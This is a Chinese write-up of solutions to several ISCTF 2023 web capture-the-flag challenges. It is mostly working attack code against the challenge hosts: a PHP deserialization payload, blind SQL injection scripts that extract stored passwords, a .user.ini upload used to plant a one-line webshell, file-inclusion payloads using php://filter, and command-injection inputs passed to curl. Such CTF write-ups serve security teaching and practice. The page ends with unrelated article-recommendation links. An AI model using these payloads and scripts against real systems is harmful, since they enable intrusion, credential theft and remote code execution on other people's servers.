isctf---web

圣杯战争

php反序列

复制代码
?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}

绕进你的心里

解题人:dskjdsodso

复制代码
import requests
 
url='ttp://43.249.195.138:20367/?hongmeng[]=asd&shennong[]=qsd&zhurong[]=1'
data={
    'pan_gu':'very'*250000+'2023ISCTF'
}
r=requests.post(url=url,data=data).text
print(r)

正则匹配回溯

where_is_the_flag

连接蚁剑,找到两个flag

flag1

flag2

第三个执行命令

env查看环境变量

easy_website

是一个简单的盲注,比较重要的就是限制了or和空格

脚本:

复制代码
import requests

# payload = "select database()"

# payload =

"selselectect(group_concat(column_name))from(infoorrmation_schema.c olumns)where(table_name='users')"

payload = "selselectect(group_concat('--',passwoorrd))from(users)" payload2 = "0' ||if(ascii(substr(({}),{},1))>{},1,0)#"

url = "http://43.249.195.138:21284/check.php"

flag =""

for i in range(1,200):

high=128

low = 32

mid =(high+low)//2

while(high>low):

payload1 = payload2.format(payload,i,mid)

# print(payload1)

data={

'username':payload1,

'password':'admin'

}

r = requests.post(url=url,data=data)

# print(r.text)

if "admin" in r.text:

low = mid + 1

else:

high = mid

# print(low,high)

mid =(low+high)//2

if chr(mid) == " ":

break

flag += chr(mid)

print(flag)

if chr(mid) == '}':

exit()

ez_ini

上传限制了文件头、 mime类型、文件内容php短标签<?,利用user.ini文件,传输base64编码解析上去,然后再传base64的一句话木马上去

ini文件信息

png图片信息

上传.user.ini即可

wafr

无参数rce,自增,取反,异或方式绕过

post传参

1z_Ssql

直接爆破数据库

爆破结果为:bthcls

user表的password字段

复制代码
import requests
import sys
import time

url = "http://43.249.195.138:22074/#"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:       

        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        
        payload = "admin'and (ascii( substr((select(group_concat(password)) from bthcls.users),{},1))<{})#".format(i,mid)


        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if 'You are so smart!' in res.text:
            max = mid
        else:
            min = mid 

结果为:we1come7o1sctf

联想一下题目

直接admin/we1come7o1sctf登录

获得flag

webinclude

文件包含

肯定先用dirsearch扫一下目录

发现了flag.php,index.bak

访问index.bak得到

复制代码
 function string_to_int_array(str){
        const intArr = [];
 
        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);
 
          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;
 
          intArr.push(partA);
          intArr.push(partB);
        }
 
        return intArr;
      }
 
      function int_array_to_text(int_array){
        let txt = '';
 
        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }
 
        return txt;
      }
 
const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

进行逆向

复制代码
#include<stdio.h>
#include<string.h>

int main() 
{
	char b[100]="dxdydxdudxdtdxeadxekdxea";
	for(int j=0;j<2;j++){
		int tmp1=0,tmp2=0,sum=0,f=0;
		//printf("%d\n",strlen(b));
		for(int i=0;i<strlen(b);i++){
			int tmp=(int)(b[i]-97);
			f++;
			if(i%2==0){
				tmp1=tmp*26;
				//printf("%d ",tmp1);
			}
			if(i%2!=0){
				tmp2=tmp;
				//printf("%d ",tmp2);
			}
			if(f==2){
				printf("%c",tmp1+tmp2);
				//printf("%d\n",sum);
				sum++;
				tmp1=0;
				tmp2=0;
				f=0;
			}
	}
	//printf("%d",sum);
	}
	return 0;
}

可以得到参数是mihoyo

那么我们构造payload:

复制代码
?mihoyo=php://filter/read=convert.base64-encode/resource=

base64解密

fuzz!

复制代码
<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
    die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){
    $file = $_GET['file'];
}
system('curl '.$file);

payload

复制代码
?file=|tac /fl[a-z]ggggggg.txt

?file=f{i}l{e}:///fla{g}gggggg.txt
相关推荐
三*一几秒前
基于 Turf.js 实现高精度多边形修整工具(模拟 ArcGIS 修整功能)
开发语言·前端·javascript·arcgis·maobox gl·turf.js
踩着两条虫几秒前
VTJ.PRO 在线应用开发平台的工作台与后台管理视图
前端·人工智能·ai编程
踩着两条虫1 分钟前
VTJ.PRO 在线应用开发平台多平台运行时(Web, H5, UniApp)
前端·低代码·ai编程
ZC1995929 分钟前
Node.js npm 安装过程中 EBUSY 错误的分析与解决方案
前端·npm·node.js
升鲜宝供应链及收银系统源代码服务11 分钟前
生鲜配送供应链管理系统源代码之升鲜宝社区团购商城小程序(一)
java·前端·数据库·小程序·notepad++·供应链系统源代码·多门店收银系统
ghhgy53115 分钟前
Chrome、Edge浏览器显示“由贵组织管理”,删除、解决方法
前端·chrome·edge
533_16 分钟前
[svg] fill-opacity、stroke-opacity与opacity
前端
九天轩辕17 分钟前
Chromium 内核深度剖析:HTML 属性解析限制导致的视频静音失效问题
前端·html·音视频
cmdyu_17 分钟前
Chrome 132+ 篡改猴脚本不生效的排查与解决
前端·chrome
曹牧18 分钟前
Java:解析Json字符串格式要求
java·linux·运维·前端